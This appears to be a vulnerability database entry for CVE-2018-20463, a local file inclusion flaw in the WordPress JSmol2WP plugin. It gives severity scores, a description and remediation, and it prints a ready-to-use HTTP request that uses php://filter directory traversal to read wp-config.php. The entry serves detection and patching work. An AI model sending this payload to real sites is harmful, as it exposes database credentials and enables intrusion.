🔙 목록으로 돌아가기

CVE-2018-20463: WordPress JSmol2WP <=1.07 - Local File Inclusion

TitleWordPress JSmol2WP <=1.07 - Local File Inclusion
Authorvinit989
SeverityHigh
ImpactAn attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationUpdate to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.
CVSS Score7.5
EPSS Score0.7612
CVE IDCVE-2018-20463
CWE IDCWE-22
Tags cve cve2018 wp wp-plugin wordpress jsmol2wp wpscan traversal jsmol2wp_project vkev vuln

🔍 Vulnerability Description

WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.

🌐 HTTP Request

GET /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20463.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-20463.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A